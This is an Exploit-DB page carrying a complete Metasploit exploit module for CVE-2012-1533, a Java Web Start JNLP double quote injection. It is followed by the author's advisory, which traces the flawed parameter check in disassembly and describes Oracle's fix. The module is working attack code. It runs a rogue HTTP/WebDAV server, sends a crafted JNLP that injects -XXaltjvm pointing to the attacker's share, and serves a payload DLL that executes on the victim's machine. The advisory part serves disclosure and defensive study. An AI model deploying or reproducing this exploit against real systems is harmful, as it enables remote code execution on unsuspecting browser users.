Java – Web Start Double Quote Injection Remote Code Execution (Metasploit)

  • 作者: Rh0
    日期: 2013-06-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26123/
  • ##
    #
    # ========================================================
    # Java Web Start Double Quote Inject Remote Code Execution
    # ========================================================
    #
    # Date: Jun 12 2012 (updated: Jun 6 2013)
    # Author: Rh0
    # Version: At least Java 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07
    # Tested on: Windows XP SP3 EN and Windows 7
    # CVE: 2012-1533
    #
    # advisory: http://pastebin.com/eUucVage
    #
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    #
    # This module acts as an HTTP server
    #
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Sun Java Web Start Double Quote Injection',
    'Description'=> %q{
    This module exploits a flaw in the Web Start component of the Sun Java
    Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
    file can contain a double quote which is not properly sanitized when creating
    the command line for javaw.exe. This allows the injection of the -XXaltjvm
    option to load a jvm.dll from a remote UNC path into the java process. Thus 
    an attacker can execute arbitrary code in the context of a browser user.
    This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.
    
    In order for this module to work, it must be ran as root on a server that
    does not serve SMB. Additionally, the target host must have the WebClient
    service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
    a jvm.dll can be specified with an own SMB server.
    },
    'Author' => 
    [
    # NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c)
    'Rh0 <rh0 () z1p dot biz>', # discovery and msf module
    ],
    'Version'=> '0.0',
    'References' =>
    [
    [ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ],
    [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
    ],
    'Platform' => 'win',
    'Payload'=>
    {
    'Space'=> 1024,
    'BadChars' => '',
    'DisableNops' => true,
    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
    },
    'Targets'=>
    [
    [ 'Automatic', { } ],
    [ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
    {
    'Platform' => 'win',
    'Arch' => ARCH_X86
    }
    ],
    ],
    'DefaultTarget'=> 0,
    ))
    
    register_options(
    [
    OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
    OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
    ], self.class)
    end
    
    
    def auto_target(cli, request)
    agent = request.headers['User-Agent']
    
    ret = nil
    #print_status("Agent: #{agent}")
    # Check for MSIE and/or WebDAV redirector requests
    if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
    ret = targets[1]
    elsif agent =~ /MSIE (6|7|8)\.0/
    ret = targets[1]
    else
    print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
    end
    
    ret
    end
    
    
    def on_request_uri(cli, request)
    
    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'
    mytarget = auto_target(cli, request)
    if (not mytarget)
    send_not_found(cli)
    return
    end
    end
    
    # Special case to process OPTIONS for /
    if (request.method == 'OPTIONS' and request.uri == '/')
    process_options(cli, request, mytarget)
    return
    end
    
    # Discard requests for ico files
    if (request.uri =~ /\.ico$/i)
    send_not_found(cli)
    return
    end
    
    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
    if (request.uri == '/')
    subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
    else
    subdir = request.uri + '/'
    end
    print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
    send_redirect(cli, subdir)
    return
    else
    share_name = $1
    end
    
    # dispatch WebDAV requests based on method first
    case request.method
    when 'OPTIONS'
    process_options(cli, request, mytarget)
    
    when 'PROPFIND'
    process_propfind(cli, request, mytarget)
    
    when 'GET'
    process_get(cli, request, mytarget, share_name)
    
    when 'PUT'
    print_status("Sending 404 for PUT #{request.uri} ...")
    send_not_found(cli)
    
    else
    print_error("Unexpected request method encountered: #{request.method}")
    
    end
    
    end
    
    #
    # GET requests
    #
    def process_get(cli, request, target, share_name)
    
    print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
    # dispatch based on extension
    if (request.uri =~ /\.dll$/i)
    #
    # DLL requests sent by IE and the WebDav Mini-Redirector
    #
    print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
    
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)
    
    # Generate a DLL based on the payload
    dll_data = generate_payload_dll({ :code => p.encoded })
    
    # Send it :)
    send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
    
    elsif (request.uri =~ /\.jnlp$/i)
    #
    # Send the jnlp document
    #
    
    # Prepare the UNC path...
    if (datastore['UNCPATH'])
    unc = datastore['UNCPATH'].dup
    else
    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    unc = "\\\\" + my_host + "\\" + share_name
    end
    
    # NOTE: we ensure there's only a single backslash here since it will get escaped
    if unc[0,2] == "\\\\"
    unc.slice!(0, 1)
    end
    
    http_agent = Rex::Text.rand_text_alpha(8+rand(8))
    
    # use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
    # inject a parameter into the command line of javaw.exe
    # codebase, href and application-desc parameters successfully suppress java splash
    jnlp_data = <<-EOS
    <?xml version="1.0" encoding="UTF-8"?>
    <jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="https://www.exploit-db.com/exploits/26123/#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
    <information>
     <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
     <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
     <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
    </information>
    <resources>
     <java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
    </resources>
    <application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
    </jnlp>
    EOS
    print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
    
    
    send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
    
    else
    print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
    jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
    
    jnlp_path = get_resource()
    if jnlp_path[-1,1] != '/'
    jnlp_path << '/'
    end
    jnlp_path << request.uri.split('/')[-1] << '/'
    jnlp_path << jnlp_name << ".jnlp"
    
    send_redirect(cli, jnlp_path, '')
    
    end
    
    end
    
    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request, target)
    print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
    headers = {
    #'DASL' => '<DAV:sql>',
    #'DAV'=> '1, 2',
    'Allow'=> 'OPTIONS, GET, PROPFIND',
    'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
    end
    
    
    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request, target)
    path = request.uri
    print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
    body = ''
    
    if (path =~ /\.dll$/i)
    # Response for the DLL
    print_status("Sending DLL multistatus for #{path} ...")
    #<lp1:getcontentlength>45056</lp1:getcontentlength>
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
    <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
    <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
    <lp2:executable>F</lp2:executable>
    <D:lockdiscovery/>
    <D:getcontenttype>application/octet-stream</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    </D:multistatus>
    |
    
    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
    # Response for anything else (generally just /)
    print_status("Sending directory multistatus for #{path} ...")
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype><D:collection/></lp1:resourcetype>
    <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
    <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
    <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
    <D:lockdiscovery/>
    <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    </D:multistatus>
    |
    
    else
    print_status("Sending 404 for #{path} ...")
    send_not_found(cli)
    return
    
    end
    
    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
    end
    
    
    #
    # Make sure we're on the right port/path to support WebDAV
    #
    def exploit
    if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
    raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
    end
    
    super
    end
    
    end
    
    =begin
    =========================================================
    Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
    =========================================================
    
    Hello all,
    
    This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
    allows remote code execution in the same way.
    
    
    ======================
    Vulnerability Overview
    ======================
    
    There exists an input validation vulnerability in at least Java Web Start 1.6.35
    and 1.7.07 when parsing JNLP files.
    A flaw exists in the routine which performs checks on the parameter values from
    a JNLP file. It allows the injection of non escaped double quotes (") into parameters
    of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
    JNLP file can contain a double quote which is not properly sanitized when creating
    the command line for javaw.exe. This makes it possible to get a command line parameter
    with a value consisting only of one double quote injected. Further this allows manipulating
    the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.
    
    
    ======================
    Vulnerability Details
    ======================
    
    Notes:
    ------
    [*] A JNLP parameter will be refered toby name=value (e.g.: initial-heap-size='64m"' )
    [*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
    [*] javaws.exe has the base address of 0x00400000 in memory
    [*] Arrows (-->) indicate code continuation on next address block
    ------
    
    Vulnerable program flow:
    ------------------------
    [*] If a JNLP file is opened by javaws.exe, it is read into memory
    and saved temporary in %TEMP%.
    
    [*] JNLP parameters are parsed:
    [a] Check if a JNLP value begins with a single or a double quote:
    (EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
    00404D60MOV CL,BYTE PTR DS:[EAX]; CL: 1st char of '64m"' (single quote = 0x27)
    00404D62CMP CL,22 ; check for double quote
    00404D65MOV DWORD PTR DS:[4227C4],EAX 
    00404D6AJE SHORT javaws.00404D9F; jmp is not taken
    00404D6CCMP CL,27 ; check for single quote
    00404D6FJE SHORT javaws.00404D9F; jmp is taken -->
    ...
    
    [b] strip quotes which enclose the JNLP value and store it:
    00404D9FINC EAX ; points to 2nd char of JNLP value (1st char after single quote)
    00404DA0MOV DL,CL ; DL: 0x27 (single quote)
    00404DA2MOV CL,BYTE PTR DS:[EAX]; CL: 2nd char of JNLP value (0x36)
    00404DA4MOV DWORD PTR DS:[4227C4],EAX
    00404DA9MOV ESI,EAX
    00404DABJMP SHORT javaws.00404DB4 ; start loop
    00404DAD/CMP CL,DL; compare char of JNLP value to single quote
    00404DAF|JE SHORT javaws.00404DB8 ; loop until another single quote in JNLP value is encountered
    00404DB1|INC ESI; increase pointer to chars in JNLP value
    00404DB2|MOV CL,BYTE PTR DS:[ESI] ; put next char of value into CL
    00404DB4 TEST CL,CL
    00404DB6\JNZ SHORT javaws.00404DAD
    00404DB8PUSH EAX
    00404DB9PUSH 6
    00404DBBMOV EAX,ESI
    00404DBDCALL javaws.00404BF8; store stripped JNLP value ( in the example case: 64m" )
    ...
    
    [*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
    (e.g.: for JNLP parameter with name initial-heap-size) :
    00401895PUSH javaws.00418330; ASCII: -Xms%s
    0040189APUSH EBX
    0040189BPUSH EAX
    0040189CCALL javaws.00406D26; construct command line parameter with -Xms%s and 64m"
    004018A1LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
    ...
    
    [*] All constructed command line parameters for javaw.exe are sane checked:
    00402B02CALL javaws.00406911; run check routine -->
    ...
    00406911PUSH EBP
    00406912MOV EBP,ESP
    00406914PUSH EBX
    00406915PUSH ESI
    00406916PUSH EDI
    00406917MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
    0040691AXOR EBX,EBX
    0040691CCMP DWORD PTR DS:[EDI],EBX
    0040691EMOV ESI,EDI
    00406920JE SHORT javaws.00406933
    00406922/PUSH DWORD PTR DS:[ESI]; push pointer to command line parameter
    00406924|CALL javaws.00406170 ; run check on command line parameter -->
    00406929|MOV DWORD PTR DS:[ESI],EAX
    0040692B|ADD ESI,4; ESI: pointer to next command line parameter
    0040692E|CMP DWORD PTR DS:[ESI],EBX
    00406930|POP ECX
    00406931\JNZ SHORT javaws.00406922; loop until end of pointer list
    ...
    00406170PUSH EBX
    00406171MOV EBX,DWORD PTR SS:[ESP+8]; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
    00406175TEST EBX,EBX
    00406177JNZ SHORT javaws.0040617D ; -->
    ...
    0040617DMOV EAX,EBX
    0040617FLEA EDX,DWORD PTR DS:[EAX+1]; EDX: pointer to command line parameter without hyphen ( Xms64m" )
    00406182/MOV CL,BYTE PTR DS:[EAX]
    00406184|INC EAX
    00406185|TEST CL,CL
    00406187\JNZ SHORT javaws.00406182
    00406189PUSH ESI; pointer to pointer of -Xms64m"
    0040618ASUB EAX,EDX ; EAX: length of Xms64m"\x00
    0040618CPUSH javaws.004199B8; ASCII \x20\x09 (space and tab)
    00406191PUSH EBX; pointer to -Xms64m"
    00406192MOV ESI,EAX
    00406194CALL javaws.00409590; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
    00406199TEST EAX,EAX; EAX: 0x0 for -Xms64m"
    0040619BPOP ECX
    0040619CPOP ECX
    0040619DJNZ SHORT javaws.004061A8 ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
    0040619FPUSH EBX
    004061A0CALL javaws.004127F4; copy of -Xms64m" (~ strdup)
    004061A5POP ECX
    004061A6JMP SHORT javaws.00406215 ; jmp over the check routines !! ---------------------> 00406215
    004061A8CMP ESI,1
    004061ABJLE SHORT javaws.004061B9
    004061ADCMP BYTE PTR DS:[EBX],22
    004061B0JNZ SHORT javaws.004061B9
    004061B2CMP BYTE PTR DS:[ESI+EBX-1],22
    004061B7JE SHORT javaws.0040619F
    004061B9XOR EAX,EAX
    004061BBTEST ESI,ESI
    004061BDLEA EDX,DWORD PTR DS:[ESI+3]
    004061C0JLE SHORT javaws.004061D5
    004061C2/MOV CL,BYTE PTR DS:[EAX+EBX]
    004061C5|CMP CL,22
    004061C8|JE SHORT javaws.004061CF
    004061CA|CMP CL,5C
    004061CD|JNZ SHORT javaws.004061D0
    004061CF|INC EDX
    004061D0|INC EAX
    004061D1|CMP EAX,ESI
    004061D3\JL SHORT javaws.004061C2
    004061D5PUSH EDX
    004061D6CALL javaws.004089CD
    004061DBTEST EAX,EAX
    004061DDPOP ECX
    004061DEJE SHORT javaws.00406215
    004061E0XOR ECX,ECX
    004061E2PUSH EDI
    004061E3INC ECX
    004061E4XOR EDI,EDI
    004061E6TEST ESI,ESI
    004061E8MOV BYTE PTR DS:[EAX],22; *** prepend command line parameter with double quote
    004061EBJLE SHORT javaws.0040620B
    004061ED/MOV DL,BYTE PTR DS:[EDI+EBX]
    004061F0|CMP DL,22; *** check for "
    004061F3|JE SHORT javaws.004061FA
    004061F5|CMP DL,5C; *** check for \
    004061F8|JNZ SHORT javaws.004061FF
    004061FA|MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
    004061FE|INC ECX
    004061FF|MOV DL,BYTE PTR DS:[EDI+EBX]
    00406202|MOV BYTE PTR DS:[EAX+ECX],DL
    00406205|INC ECX
    00406206|INC EDI
    00406207|CMP EDI,ESI
    00406209\JL SHORT javaws.004061ED
    0040620BADD ECX,EAX
    0040620DMOV BYTE PTR DS:[ECX],22; *** append command line parameter with double quote to enclose it 
    00406210MOV BYTE PTR DS:[ECX+1],0
    00406214POP EDI
    00406215POP ESI ; -----------------> we land here
    00406216POP EBX
    00406217RETN
    ...
    
    [*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
    the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
    inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
    the constructed command line parameter (see 0040619D ).
    
    [*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
    which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "
    
    [*] The command line for javaw.exe then contains the two parameters after each other, so we get:
    javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]
    
    [*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
    works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
    be on a webserver) and execute it.
    
    
    ===
    Fix
    ===
    
    [*] This vulnerability was fixed by Oracle in Oct. 2012
    http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
    The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
    Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:
    
    [a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
    http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png
    
    [b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
    values gained by sub_405BD5:
    http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png
    
    
    [*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
    when it was a 0day:
    http://pastebin.com/9RztwVez
    
    
    
    
    Cheers,
    
    Rh0
    =end